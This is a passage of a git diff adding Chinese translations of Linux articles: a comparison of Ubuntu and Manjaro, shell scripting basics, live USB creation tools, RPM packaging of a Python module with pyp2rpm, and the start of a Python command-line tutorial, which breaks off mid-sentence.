Snap 软件包(如 Firefox 浏览器)。 + +![firefox as snap][9] + +对于 Manjaro Linux 来说,你可以根据自身需求决定是否启用 Flatpak/Snap。 + +在使用 Ubuntu 时,其应用商店提供的 Linux 应用并不是最好的。取决于你的系统配置和使用年限,它会变得越来越慢。 + +![ubuntu 22 04 software center][10] + +除此之外,Manjaro Linux 还可以访问 [AUR][11],它可以获得你在 Ubuntu 应用商店中可能找不到的几乎所有软件。 + +因此,就软件生态系统和包管理器而言,Manjaro Linux 的确要比 Ubuntu 有更多的优势。 + +### 易用性和目标用户 + +Ubuntu 桌面主要是为了易于使用而量身定制的。它专注于提供最佳的软件和硬件兼容性组合,让所有计算机用户都可以使用 Ubuntu Linux,而无需了解 Linux 世界中的大部分内容。 + +即使有人不知道 Linux 上的“包管理器”是什么,在他们使用它时也可以完全把它作为 Windows/macOS 的完美替代品。 + +当然,我们也有一个指南来帮助你 [安装最新的 Ubuntu 后要做的事情][12]。 + +Manjaro Linux 也是为桌面用户使用量身定制的。但是它并不适合首次使用 Linux 的用户使用。 + +它旨在简化 Arch Linux 的操作。因此主要面向想要使用 Arch Linux 的 Linux 用户,但是增加了一些便利性。 + +### 稳定性 + +![stability tux][13] + +Ubuntu LTS 版本主要关注稳定性和可靠性,因此你也可以在服务器上部署它们。 + +相比之下,Manjaro Linux 可能没有提供现成的的稳定性。你在 Manjaro Linux 中安装软件包时需要更加仔细,同时密切注意你的配置,以确保更新不会破坏你的系统。 + +对于 Ubuntu 用户来说则无需担心软件更新,尤其是在考虑 LTS 版本时,更新通常不会破坏你的系统。 + +### 个性化 + +Ubuntu 特别提供了一个由 Canonical 为最终用户设置的定制 GNOME 桌面。虽然你可以自由定制你的 Linux 发行版的各个方面,但 Ubuntu 开箱即用提供定制很少。 + +Ubuntu 多年来一直在改进,最近增加了 [在 Ubuntu 22.04 LTS 中添加强调色][14] 的能力。 但是它仍然还有很长的路要走。 + +如果你想获得个性化的桌面体验,你只能借助 [GNOME Tweak][15] 等软件来实现。 + +对比 Manjaro GNOME,你也只能使用相同的工具来自定义桌面。 + +Manjaro 还对外观进行了一些自定义调整。但是它提供了更多组件来更改布局和其他一些选项。 + +![manjaro layout][16] + +在个性定制方面,你在 Manjaro 和 Ubuntu 上的体验大致相同。 + +如果你想要更多自定义选项,Manjaro Linux 可能是一个不错的选择。但是如果你只想要个性化体验而不需要太多的改变,Ubuntu 应该就足够了。 + +### 臃肿的软件 + +这对每个人来说可能都不是什么大问题。但如果你不喜欢预装许多应用程序,那么 Ubuntu 可能会令你感到麻烦。 + +![ubuntu 22 apps][17] + +虽然可以随时删除不需要的应用程序。但是你会发现随 Ubuntu 一起安装的软件和服务还有很多。 + +使用 Manjaro 时,你在安装时只需要安装最基础的内容即可。它们坚持使用最基础的实用程序,最大限度地减少预装的软件包数量。因此,Manjaro 很少会和软件臃肿联系到一起。 + +但是你在默认安装的 Manjaro 上可能找不到你最喜欢的 Linux 软件。因此,如果你想在安装后立即使用一些你喜欢的软件,Ubuntu 可能是一个不错的选择。 + +### 性能 + +![ubuntu 22 04 neofetch lolcat][18] + +虽然 Ubuntu 改进了其系统表现,甚至可以在 2 GB 内存的树莓派上运行,但它仍然不是性能最好的 Linux 发行版。 + +当然,性能确实取决于你选择使用的桌面环境。 + +但是与 Manjaro 的 GNOME 版本相比,Manjaro 提供了更快捷的体验。 + +需要注意的是,性能和动画首选项的用户体验还取决于你的系统配置。例如,Manjaro 的推荐系统要求(1GB 内存和 1GHz 处理器)给了你使用旧电脑的机会。 + +但是,对于 Ubuntu,在撰写本文时,你至少需要 4GB 内存 和 2GHz 双核处理器,才能获得理想的桌面体验。 + +### 文档 + +考虑到 Ubuntu 的受欢迎程度,Ubuntu 更易于使用,并且对新用户来说可能更舒适。 + +[Ubuntu 的文档][19] 即使不是最好也足够好了。 + +谈到 Manjaro Linux,他们有一个 [维基][20],其中包含基础信息和深入的指南来帮助你入门。 + +总的来说,[Arch Linux 的文档][21] 非常细致,几乎每个人(甚至是老手)都会参考它来寻求帮助。 + +Arch Linux 的文档在很大程度上也适用于 Manjaro Linux,因此在文档方面,使用 Manjaro Linux 比 Ubuntu 更有优势。 + +### 结束语 + +作为两个完全不同的 Linux 发行版,它们服务于各种类型的用户。你可以选择你感兴趣的任意一个并尝试去使用它来判断它是否适合你。 + +但是,如果你想避免对系统进行任何更改,并专注于你的工作,那么 Ubuntu 应该是一个明智的选择。 + +而如果 Ubuntu 的性能对你的体验有相当大的影响,你应该去尝试 Manjaro。 你可以阅读我的 [关于从 Ubuntu 切换到 Manjaro 的初步想法][22]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/ubuntu-vs-manjaro/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/what-is-desktop-environment/ +[2]: https://itsfoss.com/wp-content/uploads/2022/05/ubuntu22-04-lts-about.png +[3]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-about.png +[4]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-wallpaper.jpg +[5]: https://itsfoss.com/which-ubuntu-install/ +[6]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-gnome-42.png +[7]: https://itsfoss.com/essential-linux-applications/ +[8]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-package-manager.png +[9]: https://itsfoss.com/wp-content/uploads/2022/04/firefox-as-snap.jpg +[10]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-software-center.jpg +[11]: https://itsfoss.com/aur-arch-linux/ +[12]: https://itsfoss.com/things-to-do-after-installing-ubuntu-22-04/ +[13]: https://itsfoss.com/wp-content/uploads/2022/05/stability-tux.png +[14]: https://itsfoss.com/accent-color-ubuntu/ +[15]: https://itsfoss.com/gnome-tweak-tool/ +[16]: https://itsfoss.com/wp-content/uploads/2022/05/manjaro-layout.png +[17]: https://itsfoss.com/wp-content/uploads/2022/05/ubuntu-22-apps.jpg +[18]: https://itsfoss.com/wp-content/uploads/2022/04/ubuntu-22-04-neofetch-lolcat-800x445.png +[19]: https://help.ubuntu.com/ +[20]: https://wiki.manjaro.org/index.php/Main_Page +[21]: https://wiki.archlinux.org/ +[22]: https://news.itsfoss.com/manjaro-linux-experience/ diff --git a/published/202209/20220524 The Basic Concepts of Shell Scripting.md b/published/202209/20220524 The Basic Concepts of Shell Scripting.md new file mode 100644 index 0000000000..f6c93dc465 --- /dev/null +++ b/published/202209/20220524 The Basic Concepts of Shell Scripting.md @@ -0,0 +1,182 @@ +[#]: subject: "The Basic Concepts of Shell Scripting" +[#]: via: "https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/" +[#]: author: "Sathyanarayanan Thangavelu https://www.opensourceforu.com/author/sathyanarayanan-thangavelu/" +[#]: collector: "lkxed" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15012-1.html" + +一些 Shell 脚本的基本概念 +====== + +> 如果你希望自动执行常规任务并使你的生活更轻松,那么使用 Shell 脚本是一个很好的选择。本文将向你介绍一些基本概念,这些概念将帮助你编写高效的 Shell 脚本。 + +![Shell-scripting][1] + +Shell 脚本是一种被设计用来运行命令行解释器 UNIX Shell 的计算机程序。Shell 脚本的各类变种被视作脚本语言。Shell 脚本执行的典型操作包括文件操作、程序执行和文本打印。设置环境、运行程序并执行任何必要的清理或日志记录的脚本称为封装。 + +### 识别 Shell 命令提示符 + +你可以通过查看终端窗口中的提示符符号来识别 Linux 系统的计算机上的 Shell 命令提示符的用户是普通用户还是超级用户。`#` 符号用于超级用户,`$` 符号用于具有标准权限的用户。 + +### 基本命令 + +脚本附带了很多可以在终端窗口上执行的、用以管理您的计算机的命令。每个命令的详细信息可以在该命令附带的使用手册中找到。你可以使用如下命令来查看手册: + +``` +man +``` + +一些常用的命令有: + +``` +date # 显示当前日期和时间 +cal # 显示当前月份日历 +df # 显示磁盘使用情况 +free # 显示内存使用情况 +ls # 列出文件和目录 +mkdir # 创建目录 +``` + +每个命令都附带了几个可以一起使用的选项。你可以参考使用手册以了解更多的细节。`man date` 的输出如图 1 所示。 + +![Figure 1: Manual of date command][2] + +### 重定向操作符 + +当你希望捕获文件中的命令输出或重定向到文件时,可以使用重定向操作符。 + +| 命令 | 描述 | +| :- | :- | +| `ls -l /usr/bin >file` | 默认标准输出到文件 | +| `ls -l /usr/bin 2>file` | 重定向标准错误到文件 | +| `ls -l /usr/bin > ls-output 2>&1` | 重定向标准错误和标准输出到文件 | +| `ls -l /usr/bin &> ls-output` | 重定向标准错误和标准输出到文件 | +| `ls -l /usr/bin 2> /dev/null` | 写入 `/dev/null`,丢弃输出 | + +### 大括号扩展 + +大括号扩展是 UNIX 提供的强大选项之一。它有助于在一行指令中使用最少的命令完成大量操作。例如: + +``` +$echo Front-{A,B,C}-Back +Front-A-Back, Front-B-Back, Front-C-Back +``` + +``` +$echo {Z..A} +Z Y X W V U T S R Q P O N M L K J I H G F E D C B A +``` + +``` +$mkdir {2009..2011}-0{1..9} {2009..2011}-{10..12} +``` + +这条命令会为 2009 到 2011 年里的每个月建立一个目录。 + +### 环境变量 + +环境变量是一个动态命名的值,它可以影响计算机上运行的进程的行为方式。此变量是进程运行环境的一部分。 + +| 命令 | 描述 | +| :- | :- | +| `printenv` | 打印出所有环境变量的值。 | +| `set` | 设置 Shell 选项 | +| `export` | 导出环境到随后执行的程序 | +| `alias` | 为命令创建别名 | + +### 网络命令 + +网络命令对于排查网络问题和检查连接到客户机的特定端口非常有用。 + +| 命令 | 描述 | +| :- | :- | +| `ping` | 发送 ICMP(网际网路控制讯息协定)数据包 | +| `traceroute` | 打印数据包在网络中的路径 | +| `netstat` | 打印网络连接信息、路由表、接口数据 | +| `ftp`/`lftp` | 互联网文件传输程序 | +| `wget` | 非交互式网络下载器 | +| `ssh` | OpenSSH SSH 客户端 (远程登录程序) | +| `scp` | 安全拷贝 | +| `sftp` | 安全文件传输程序 | + +### grep 命令 + +`grep` 命令用于查找系统和日志中的错误。它是 Shell 拥有的强大工具之一。 + +| 命令 | 描述 | +| :- | :- | +| `grep -h '.zip' file.list` | `.` 表示任意字符 | +| `grep -h '^zip' file.list` | 以 `zip` 开头 | +| `grep -h 'zip$' file.list` | 以 `zip` 结尾 | +| `grep -h '^zip$' file.list` | 只含有 `zip` | +| `grep -h '[^bz]zip' file.list` | 不含 `b` 和 `z` | +| `grep -h '^[A-Za-z0-9]' file.list` | 所有文件名有效的文件 | + +### 量词 + +下面是一些量词的例子: + +| 命令 | 描述 | +| :- | :- | +| `?` | 匹配出现 0 次或 1 次的元素 | +| `*` | 匹配出现 0 次或多次的元素 | +| `+` | 匹配出现 1 次或多次的元素 | +| `{}` | 匹配出现特定次数的元素 | + +### 文本处理 + +文本处理是当今 IT 世界中的另一项重要任务。程序员和管理员可以使用这些命令来切片、剪切和处理文本。 + +| 命令 | 描述 | +| :- | :- | +| `cat -A $FILE` | 显示 `$FILE` 文件的所有内容 | +| `sort file1.txt file2.txt file3.txt > final_sorted_list.txt` | 一次性将所有文件排序 | +| `ls - l | sort -nr -k 5` | 按指定的第 5 列进行排序 | +| `sort --key=1,1 --key=2n distor.txt` | 对第 1 列进行排序(默认按字母表顺序),对第 2 列进行数值排序 | +| `sort foo.txt | uniq -c` | 查找重复的行并显示该行重复的次数 | +| `cut -f 3 distro.txt` | 剪切第 3 列 | +| `cut -c 7-10` | 剪切 7 - 10 字符 | +| `cut -d ':' -f 1 /etc/password` | 分隔符 `:` | +| `sort -k 3.7nbr -k 3.1nbr -k 3.4nbr distro.txt` | 按第 3 列第 7 个字符、第 3 列第 1 个字符和第 3 列第 4 个字符排序 | +| `paste file1.txt file2.txt > newfile.txt` | 合并两个文件 | +| `join file1.txt file2.txt` | 按公共字段连接两个文件 | + +### 窍门和技巧 + +在 Linux 中,我们可以通过使用简单的命令或控制选项返回到命令的历史记录。 + +| 命令 | 描述 | +| :- | :- | +| `clear` | 清空屏幕 | +| `history` | 查看保存命令的历史记录 | +| `script filename` | 捕获文件中的所有命令执行 | + +一些历史命令的技巧: + +- `CTRL + R`: 搜索命令历史 +- `!!number`:执行编号为 `number` 的命令 +- `!!` :执行上一条命令 +- `!?string` : 执行包含 `string` 的上一条命令 +- `!string`:执行以 `string` 开始的上一条命令 +- `export HISTCONTROL=ignoredups`: 忽略重复条目 +- `export HISTSIZE=10000`:设置存储的历史行数 + +随着你对 Linux 命令逐渐熟悉,你将能够编写封装脚本。所有手动任务,如定期备份、清理文件、监控系统使用情况等,都可以使用脚本自动完成。在学习高级概念之前,本文将帮助您开始编写脚本。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/the-basic-concepts-of-shell-scripting/ + +作者:[Sathyanarayanan Thangavelu][a] +选题:[lkxed][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/sathyanarayanan-thangavelu/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Shell-scripting.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Manual-of-date-command.jpg diff --git a/published/202209/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md b/published/202209/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md new file mode 100644 index 0000000000..0821e610e2 --- /dev/null +++ b/published/202209/20220608 Rufus for Linux- Here Are the Best Live USB Creating Tools.md @@ -0,0 +1,140 @@ +[#]: subject: "Rufus for Linux? Here Are the Best Live USB Creating Tools" +[#]: via: "https://itsfoss.com/live-usb-creator-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "alfred-hong" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15052-1.html" + +U 盘启动盘创建工具 Rufus 在 Linux 上不能使用?这里有 6 个替代品 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/20/232656q7qc9vc9r6hn6bz9.jpg) + +Rufus 一个用来创建启动盘的开源工具。它可以按照你的需求进行调整,用起来很简单。不仅用起来很方便,而且制作启动盘的速度也出奇的快。 + +遗憾的是,Rufus 不能在 Linux 上使用,它只能在 Windows 上使用。因此大多数在 Windows 上使用过 Rufus 的人,都会在 Linux 上寻找替代软件。 + +如果你也是这样,不用着急,我们有一些优秀的替代软件,可以满足不同的使用条件。 + +我们来看看一些关于 Rufus 的替代软件: + +### 6 款最佳的 Linux 启动盘创建工具 + +列出的所有替代软件都是开源的,并且在 Linux 发行版运行很好。 + +**注意:** *下列软件无任何特定排序* + +#### 1、balenaEtcher + +![balena etcher 2022][1] + +balenaEtcher(或 Etcher)对于多平台(Windows、 MacOS)用户是一个很好的选择,也包括 Linux 用户。 + +此软件没有任何高级选项。因此十分容易使用。只需要选择 ISO(镜像文件),然后选中目标 U 盘进行写入即可。 + +它是完全开源的,并在写入完成后检验你的 U 盘。此外,它还自动选择你插入的 U 盘,以避免你不小心选择了硬盘进行格式化。 + +你可以参考这本 [便捷手册][2] 来在 Linux 上安装它。 + +> **[balenaEtcher][3]** + +#### 2、Fedora Media Writer + +![fedora media writer][4] + +Fedora Media Writer 是专门用来帮助用户创建 Fedora Linux 启动盘的软件。如果你还没有 ISO 文件,它还能为你下载 ISO。 + +当其它的 U 盘启动盘创建软件导致你不能格式化你的 U 盘时,它也是一个优秀的 U 盘启动盘修复程序。 + +不用担心,你也可以选择 Fedora Linux 之外的其他镜像来创建启动盘。 + +你可以在 Flathub 找到任何 Linux 发行版可用的最新的 [Flatpak][5] 软件包。如果你是新手请参考这篇 [Flatpak 指导][6] + +> **[Fedora Media Writer][7]** + +#### 3、Startup Disk Creator + +![startup disk creator][8] + +如果你使用的是 Ubuntu 系统,在系统上已经预装了一个 U 盘启动盘制作软件,即 Startup Disk Creator。 + +你可以用它选择任何需要的 ISO 文件(最好是 Ubuntu 的任何版本),并选择 USB 设备进行下一步。 + +当你确认操作后,它就会写入数据来完成制作启动盘。 + +#### 4、SUSE Studio Imagewriter + +![imagewriter suse][9] + +SUSE Studio Imagewriter 是一个简单的启动盘制作软件。 + +我没有在 Ubuntu 软件中心找到它,但是在 Manjaro 的社区仓库和 AUR 中可以找到。如果它可以适配你的 Linux 发行版,你可以试试它。 + +> **[SUSE Studio Imagewriter][10]** + +#### 5、UNetbootin + +![unetbootin][11] + +UNetbootin 是一个支持 Linux、Windows 和 macOS 的 U 盘启动制作软件。有少量的几个可以调整的选项,比如你可以查看所有可用的驱动器,还可以选择一个发行版来自动下载 ISO 文件。 + +它与上面的软件不同,它并不是指定用在某些 Linux 发行版。因此,它支持各种各种各样的发行版和系统程序。 + +> **[UNetbootin][12]** + +#### 6、Ventoy + +![ventoy screenshot 2022][13] + +Ventoy 是一个有趣的 USB 启动盘解决方案,你只需要复制粘贴镜像文件到 U 盘即可。 + +你仅仅需要在 U 盘上安装 Venoy,它会在其上建立两个分区。其中一个用来存储 ISO 镜像,你只需要将镜像文件粘贴到 U 盘即制作成功。 + +有趣的是你还可以使用它来 [引导多个系统][14]。 + +它可在 Windows 和 Linux 上使用。 + +> **[Ventoy][15]** + +### 总结 + +如果你需要在 U 盘上放多个 Linux 发行版而不是反复格式化它,Ventoy 似乎是上面所有选项中最好的选择。 + +为了简单起见,特定于发行版的工具是个很好的选择,例如:Ubuntu 的 Startup Disk Creator 和 Fedora 的 Fedora Media Writer。 + +SUSE Studio Imagewriter 也不错,但可不能不是最方便的。 + +如果你没有任何特定的偏好,balenaEtcher 应该是最直接的选择,UNetbootin 是它的一个合适的替代软件。 + +你最偏爱哪个 U 盘启动盘创建软件?在下面的评论区中让我了解你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/live-usb-creator-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[alfred-hong](https://github.com/alfred-hong) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/06/balena-etcher-2022-800x537.png +[2]: https://itsfoss.com/install-etcher-linux/ +[3]: https://www.balena.io/etcher/ +[4]: https://itsfoss.com/wp-content/uploads/2022/06/fedora-media-writer.png +[5]: https://itsfoss.com/what-is-flatpak/ +[6]: https://itsfoss.com/flatpak-guide/ +[7]: https://flathub.org/apps/details/org.fedoraproject.MediaWriter +[8]: https://itsfoss.com/wp-content/uploads/2022/06/startup-disk-creator.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/imagewriter-suse.png +[10]: https://software.opensuse.org/package/imagewriter +[11]: https://itsfoss.com/wp-content/uploads/2022/06/unetbootin.png +[12]: https://unetbootin.github.io/ +[13]: https://itsfoss.com/wp-content/uploads/2022/06/ventoy-screenshot-2022.png +[14]: https://itsfoss.com/multiple-linux-one-usb/ +[15]: https://www.ventoy.net/ diff --git a/published/202209/20220630 Package a new Python module in 4 steps.md b/published/202209/20220630 Package a new Python module in 4 steps.md new file mode 100644 index 0000000000..51382853c9 --- /dev/null +++ b/published/202209/20220630 Package a new Python module in 4 steps.md @@ -0,0 +1,213 @@ +[#]: subject: "Package a new Python module in 4 steps" +[#]: via: "https://opensource.com/article/22/6/package-python-module-rpm" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "Return7g" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15030-1.html" + +4 步打包一个新的 Python 模块 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/14/155051kzjuzhzvmllmv2b5.jpg) + +> pyp2rpm 使得创建 RPM 包的过程更加自动化。 + +当你安装一个应用程序时,你通常是在安装一个软件包,其中包含应用程序的可执行代码和重要文件,如文档、图标等。在 Linux上,软件一般被打包成 RPM 或 DEB 等格式,用户只要通过 `dnf` 或者 `apt` 等命令就可以进行安装了,这取决于你使用的 Linux 发行版。然而几乎每天都有新的 Python 模块发布,因此你很容易遇到一个尚未打包的 Python 模块。这就是 `pyp2rpm` 存在的意义了。 + +最近我在尝试安装一个叫 `python-concentration` 的模块,但是进展并不太顺利: + +``` +$ sudo dnf install python-concentration +Updating Subscription Management repositories. +Last metadata expiration check: 1:23:32 ago on Sat 11 Jun 2022 06:37:25. +No match for argument: python-concentration +Error: Unable to find a match: python-concentration +``` + +虽然这是一个发布在 PyPi 的包,但它仍不能被打包成 RPM 包。好消息是你可以使用 `pyp2rpm` 以一个相对简单的过程将它打包成 RPM 包。 + +首先你需要设置两个目录: + +``` +$ mkdir rpmbuild +$ cd rpmbuild && mkdir SPECS +``` + +像这样去安装 `pyp2rpm`: + +``` +$ sudo dnf install pyp2rpm +``` + +### 1、生成 spec 文件 + +RPM 包的基础是一种 spec 文件,这个文件包含你创建这个包的所有信息,如所需的依赖关系、应用的版本号、安装的文件等信息。当指向某个 Python 模块时,`pyp2rpm` 会为它构建一个 spec 文件,你可以用它来创建 RPM 包。 + +下面以 `python-concentration` 为例演示如何构建一个 spec 文件: + +``` +$ pyp2rpm concentration > ~/rpmbuild/SPECS/concentration.spec +``` + +下面是它生成的文件: + +``` +# Created by pyp2rpm-3.3.8 +%global pypi_name concentration +%global pypi_version 1.1.5 + +Name:           python-%{pypi_name} +Version:        %{pypi_version} +Release:        1%{?dist} +Summary:        Get work done when you need to, goof off when you don't + +License:        None +URL:            None +Source0:        %{pypi_source} +BuildArch:      noarch + +BuildRequires:  python3-devel +BuildRequires:  python3dist(setuptools) + +%description +Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov]( + +%package -n     python3-%{pypi_name} +Summary:        %{summary} +%{?python_provide:%python_provide python3-%{pypi_name}} + +Requires:       (python3dist(hug) >= 2.6.1 with python3dist(hug) < 3~~) +Requires:       python3dist(setuptools) +%description -n python3-%{pypi_name} +Concentration [![PyPI version]( [![Test Status]( [![Lint Status]( [![codecov]( + + +%prep +%autosetup -n %{pypi_name}-%{pypi_version} + +%build +%py3_build + +%install +%py3_install + +%files -n python3-%{pypi_name} +%license LICENSE +%doc README.md +%{_bindir}/concentration +%{python3_sitelib}/%{pypi_name} +%{python3_sitelib}/%{pypi_name}-%{pypi_version}-py%{python3_version}.egg-info + +%changelog +*  - 1.1.5-1 +- Initial package. +``` + +### 2、运行 rpmlint + +为了确保 spec 文件符合标准,你需要对文件使用 `rpmlint` 命令: + +``` +$ rpmlint ~/rpmbuild/SPEC/concentration.spec +error: bad date in %changelog: - 1.1.5-1 +0 packages and 1 specfiles checked; 0 errors, 0 warnings. +``` + +看起来更新日志(`%changelog`)需要记录日期。 + +``` +%changelog +* Sat Jun 11 2022 Tux - 1.1.5-1 +``` + +再次运行 `rpmint`: + +``` +$ rpmlint ~/rpmbuild/SPEC/concentration.spec +0 packages and 1 specfiles checked; 0 errors, 0 warnings. +``` + +成功! + +### 3、下载源码 + +你需要下载好打包的代码才能进一步构建 RPM 包。一种简单的方式是解析你的 spec 文件以获取源码的网址。 + +首先,通过 `dnf` 安装 `spectool`: + +``` +$ sudo dnf install spectool +``` + +然后通过 `spectool` 来下载源码: + +``` +$ cd ~/rpmbuild +$ spectool -g -R SPEC/concentration.spec +Downloading: https://files.pythonhosted.org/...concentration-1.1.5.tar.gz +   6.0 KiB / 6.0 KiB    [=====================================] +Downloaded: concentration-1.1.5.tar.gz +``` + +这样就创建了一个 `SOURCES` 目录并将源码放入其中。 + +### 4、构建源软件包 + +现在你已经验证过 spec 文件了,接下来就可以通过 `rpmbuild` 构建源软件包了。如果你还没有安装 `rpmbuild`,你也可以通过 `dnf` 安装 `rpm-build` 包(或者在使用 `rpmbuild` 命令时根据终端的的提示进行安装)。 + +参数 `-bs` 表示构建源软件包。添加这个参数会产生一个 src.rpm 文件,这是一个用于为特定架构重新构建的通用包: + +``` +$ rpmbuild -bs SPECS/concentration.spec +Wrote: ~/rpmbuild/SRPMS/python-concentration-1.1.5-1.el9.src.rpm +``` + +为你的系统构建一个可安装的 RPM 文件: + +``` +$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm +error: Failed build dependencies: +        python3-devel is needed by python-concentration-1.1.5-1.el9.noarch +``` + +看起来这个包需要安装 Python 的开发库才能继续构建。安装它们以继续构建。这一次,构建成功了,并且渲染了更多的输出(为了清楚起见,我在这里简略了输出): + +``` +$ sudo dnf install python3-devel -y +$ rpmbuild –rebuild SRPMS/python-concentration-1.1.5-1.el9.src.rpm +[...] +Executing(--clean): /bin/sh -e /var/tmp/rpm-tmp.TYA7l2 ++ umask 022 ++ cd /home/bogus/rpmbuild/BUILD ++ rm -rf concentration-1.1.5 ++ RPM_EC=0 +++ jobs -p ++ exit 0 +``` + +你的 RPM 包现在已经构建在 `RPMS` 子目录下,像平常一样使用 `dnf` 安装它。 + +``` +$ sudo dnf install RPMS/noarch/python3-concentration*rpm +``` + +### 为什么不使用 PyPi? + +通常情况下我们并不需要将 Python 模块打包成 RPM 包。通过 PyPi 来安装模块也是可以接受的,但是 PyPi 会安装额外的包管理器对你的模块进行检查和更新。当你使用 `dnf` 来安装 RPM 包时,你在安装完成时就能够获取到完整的安装列表。有了 `pyp2rpm` 之后,这个过程就变得快速、简单且自动化了。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/package-python-module-rpm + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[Return7g](https://github.com/Return7g) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python-programming-code-keyboard.png diff --git a/published/202209/20220719 Turn your Python script into a command-line application.md b/published/202209/20220719 Turn your Python script into a command-line application.md new file mode 100644 index 0000000000..d1de4130bd --- /dev/null +++ b/published/202209/20220719 Turn your Python script into a command-line application.md @@ -0,0 +1,220 @@ +[#]: subject: "Turn your Python script into a command-line application" +[#]: via: "https://opensource.com/article/22/7/bootstrap-python-command-line-application" +[#]: author: "Mark Meyer https://opensource.com/users/ofosos" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15061-1.html" + +将你的 Python 脚本转换为命令行程序 +====== + +> 使用 Python 中的 `scaffold` 和 `click` 库,你可以将一个简单的实用程序升级为一个成熟的命令行界面工具。 + +![](https://img.linux.net.cn/data/attachment/album/202209/23/093712jyayyed8x7d8d8yd.jpg) + +在我的职业生涯中,我写过、用过和看到过很多随意的脚本。一些人需要半自动化完成任务,于是它们诞生了。一段时间后,它们变得越来越大。它们在一生中可能转手很多次。我常常希望这些脚本提供更多的**命令行工具式**的感觉。但是,从一次性脚本到合适的工具,真正提高质量水平有多难呢?事实证明这在 Python 中并不难。 + +### 搭建骨架脚本 + +在本文中,我将从一小段 Python 代码开始。我将把它应用到 `scaffold` 模块中,并使用 `click` 库扩展它以接受命令行参数。 + +``` +#!/usr/bin/python + +from glob import glob +from os.path import join, basename +from shutil import move +from datetime import datetime +from os import link, unlink + +LATEST = 'latest.txt' +ARCHIVE = '/Users/mark/archive' +INCOMING = '/Users/mark/incoming' +TPATTERN = '%Y-%m-%d' + +def transmogrify_filename(fname): +    bname = basename(fname) +    ts = datetime.now().strftime(TPATTERN) +    return '-'.join([ts, bname]) + +def set_current_latest(file): +    latest = join(ARCHIVE, LATEST) +    try: +        unlink(latest) +    except: +        pass +    link(file, latest) + +def rotate_file(source): +    target = join(ARCHIVE, transmogrify_filename(source)) +    move(source, target) +    set_current_latest(target) + +def rotoscope(): +    file_no = 0 +    folder = join(INCOMING, '*.txt') +    print(f'Looking in {INCOMING}') +    for file in glob(folder): +        rotate_file(file) +        print(f'Rotated: {file}') +        file_no = file_no + 1 +    print(f'Total files rotated: {file_no}') + +if __name__ == '__main__': +    print('This is rotoscope 0.4.1. Bleep, bloop.') +    rotoscope() +``` + +本文所有没有在这里插入显示的代码示例,你都可以在 [https://codeberg.org/ofosos/rotoscope][2] 中找到特定版本的代码。该仓库中的每个提交都描述了本文操作过程中一些有意义的步骤。 + +这个片段做了几件事: + +* 检查 `INCOMING` 指定的路径中是否有文本文件 +* 如果存在,则使用当前时间戳创建一个新文件名,并将其移动到 `ARCHIVE` +* 删除当前的 `ARCHIVE/latest.txt` 链接,并创建一个指向刚刚添加文件的新链接 + +作为一个示例,它很简单,但它会让你理解这个过程。 + +### 使用 Pyscaffold 创建应用程序 + +首先,你需要安装 `scaffold`、`click` 和 `tox` [Python 库][3]。 + +``` +$ python3 -m pip install scaffold click tox +``` + +安装 `scaffold` 后,切换到示例的 `rotoscope` 项目所在的目录,然后执行以下命令: + +``` +$ putup rotoscope -p rotoscope \ + --force --no-skeleton -n rotoscope \ + -d 'Move some files around.' -l GLWT \ + -u http://codeberg.org/ofosos/rotoscope \ + --save-config --pre-commit --markdown +``` + +Pyscaffold 会重写我的 `README.md`,所以从 Git 恢复它: + +``` +$ git checkout README.md +``` + +Pyscaffold 